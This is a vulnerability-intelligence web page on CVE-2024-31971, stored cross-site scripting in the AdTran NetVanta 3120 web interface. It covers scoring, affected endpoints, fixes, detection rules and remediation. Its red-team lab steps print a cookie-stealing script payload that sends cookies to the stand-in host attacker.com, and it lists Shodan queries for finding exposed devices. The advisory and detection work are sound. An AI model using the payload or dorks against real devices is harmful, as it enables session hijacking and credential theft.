☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-31971

CVE-2024-31971 Cross-Site Scripting in Adtran
📅 PUBLISHED: 2024-07-24 00:00 UTC 🔄 UPDATED: 2026-08-12 09:02 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.09%
👁️
0.09% probability
2.1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: 18.01.01.00.E
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-31971 identifies multiple stored cross-site scripting (XSS) vulnerabilities in the AdTran NetVanta 3120 running firmware version 18.01.01.00.E. An unauthenticated remote attacker can inject arbitrary JavaScript into several web management interfaces, including /mainPassword.html, /processIdentity.html, /public.html, /dhcp.html, /private.html, /hostname.html, /connectivity.html, /NetworkMonitor.html, /trafficMonitoringConfig.html, and /wizardMain.html. Successful exploitation could lead to session hijacking, credential theft, or further compromise of the device. No patch is currently available from the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 0.0 (NVD) – However, based on the vulnerability characteristics, a more realistic score is 6.1 (Medium).
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: None
  • User Interaction: Required (victim must visit a crafted link)
  • Scope: Changed
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None
  • Threat Level: Medium – Exploitation is straightforward but requires user interaction.

Deep Dive & Mechanics

The vulnerability resides in the web management interface of the AdTran NetVanta 3120. The application fails to properly sanitize user-supplied input before storing it in the backend and later rendering it in HTML pages. Attackers can inject malicious JavaScript payloads into fields such as hostname, DHCP settings, or connectivity parameters. When an administrator or other user views the affected page, the injected script executes in the context of the victim's browser.

The affected endpoints include:

  • /mainPassword.html – Password change form
  • /processIdentity.html – Identity configuration
  • /public.html – Public settings
  • /dhcp.html – DHCP configuration
  • /private.html – Private settings
  • /hostname.html – Hostname configuration
  • /connectivity.html – Connectivity settings
  • /NetworkMonitor.html – Network monitoring
  • /trafficMonitoringConfig.html – Traffic monitoring configuration
  • /wizardMain.html – Setup wizard

Since the XSS is stored, the payload persists across sessions and can affect multiple users.

Vulnerable vs. Patched Code

No patched version is available. The vulnerable code likely lacks output encoding or input validation. A typical vulnerable snippet might look like:

// Vulnerable: Directly inserts user input into HTML
document.getElementById('hostname').innerHTML = userInput;

A patched version would use proper encoding:

// Patched: Escapes HTML entities
function escapeHtml(unsafe) {
    return unsafe.replace(/&/g, "&amp;").replace(/</g, "&lt;").replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#039;");
}
document.getElementById('hostname').innerHTML = escapeHtml(userInput);

Exploitation & Lab Setup

Red Team

  1. Setup: Deploy an AdTran NetVanta 3120 with firmware 18.01.01.00.E in an isolated lab.
  2. Craft Payload: Use a simple JavaScript payload to steal cookies:
    <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
    
  3. Inject: Navigate to /hostname.html and enter the payload in the hostname field. Submit the form.
  4. Trigger: Send a link to the victim pointing to /hostname.html. When the victim views the page, the script executes.
  5. Exfiltrate: Set up a listener on attacker.com to capture cookies.

Blue Team

  1. Monitor: Look for unexpected outbound connections from the NetVanta device to unknown IPs.
  2. Inspect Logs: Check web server logs for suspicious input patterns (e.g., <script> tags).
  3. Network Segmentation: Isolate the management interface from user networks.
  4. User Training: Educate administrators not to click on untrusted links while logged into the device.

Indicators of Compromise (IOCs)

  • Network: Outbound HTTP requests to attacker-controlled domains containing cookie data.
  • Logs: Entries in the device logs showing <script> tags in configuration fields.
  • File System: Modified configuration files containing JavaScript payloads.
  • Behavior: Unexpected redirects or pop-ups in the management interface.

Detection Engineering

YARA Rule

rule CVE_2024_31971_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in AdTran NetVanta 3120 configuration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-31971"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $xss3 = /onload\s*=\s*["']?[^"']*["']?/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in AdTran NetVanta 3120
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts against AdTran NetVanta 3120 management interfaces
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: adtran
detection:
    selection:
        http.url|contains:
            - '/mainPassword.html'
            - '/processIdentity.html'
            - '/public.html'
            - '/dhcp.html'
            - '/private.html'
            - '/hostname.html'
            - '/connectivity.html'
            - '/NetworkMonitor.html'
            - '/trafficMonitoringConfig.html'
            - '/wizardMain.html'
        http.body|contains:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in configuration (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-31971 Stored XSS Payload in AdTran NetVanta 3120"; flow:to_server,established; content:"/hostname.html"; http_uri; content:"<script"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

  • Immediate: Disable remote management access to the device if not required. Use a firewall to restrict access to the management interface to trusted IPs only.
  • Short-term: Apply input validation and output encoding on all user-supplied fields. Since no patch is available, consider implementing a Web Application Firewall (WAF) to block XSS patterns.
  • Long-term: Contact AdTran for a firmware update. Monitor vendor advisories for patches.
  • Workaround: If possible, upgrade to a newer firmware version or replace the device with a supported alternative.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"NetVanta"
http.html:"Adtran" "NetVanta 3120"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-31971/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.